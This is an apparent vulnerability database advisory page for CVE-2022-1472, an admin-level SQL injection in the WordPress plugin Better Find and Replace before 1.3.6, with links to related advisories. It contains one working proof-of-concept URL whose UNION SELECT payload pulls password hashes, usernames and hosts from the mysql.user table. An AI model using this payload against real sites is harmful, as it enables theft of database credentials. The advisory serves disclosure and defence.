Lucene search
LucyWPEX-ID:9C608B14-DC5E-469E-B97A-84696FAE804CHistoryMay 30, 2022 - 12:00 a.m.
Better Find and Replace < 1.3.6 - Admin+ SQLi
2022-05-3000:00:00
lucy
80
0.001 Low
EPSS
Percentile
37.9%
The plugin does not properly sanitise, validate and escape various parameters before using them in an SQL statement, leading to an SQL Injection
https://example.com/wp-admin/admin.php?page=cs-all-masking-rules&s=%27+union+SELECT+max_questions%2Cauthentication_string%2CUser%2CHost%2C1.0%2CUser+from+mysql.user+--+-Related
prion
prion
Sql injection
2022-06-20 11:15:00
nvd
nvd
CVE-2022-1472
2022-06-20 11:15:09
cve
cve
CVE-2022-1472
2022-06-20 11:15:09
cnvd
cnvd
WordPress Better Find and Replace plugin SQL注入漏洞
2022-06-22 00:00:00
wpvulndb
wpvulndb
Better Find and Replace < 1.3.6 - Admin+ SQLi
2022-05-30 00:00:00
cvelist
cvelist
CVE-2022-1472 Better Find and Replace < 1.3.6 - Admin+ SQLi
2022-06-20 10:25:49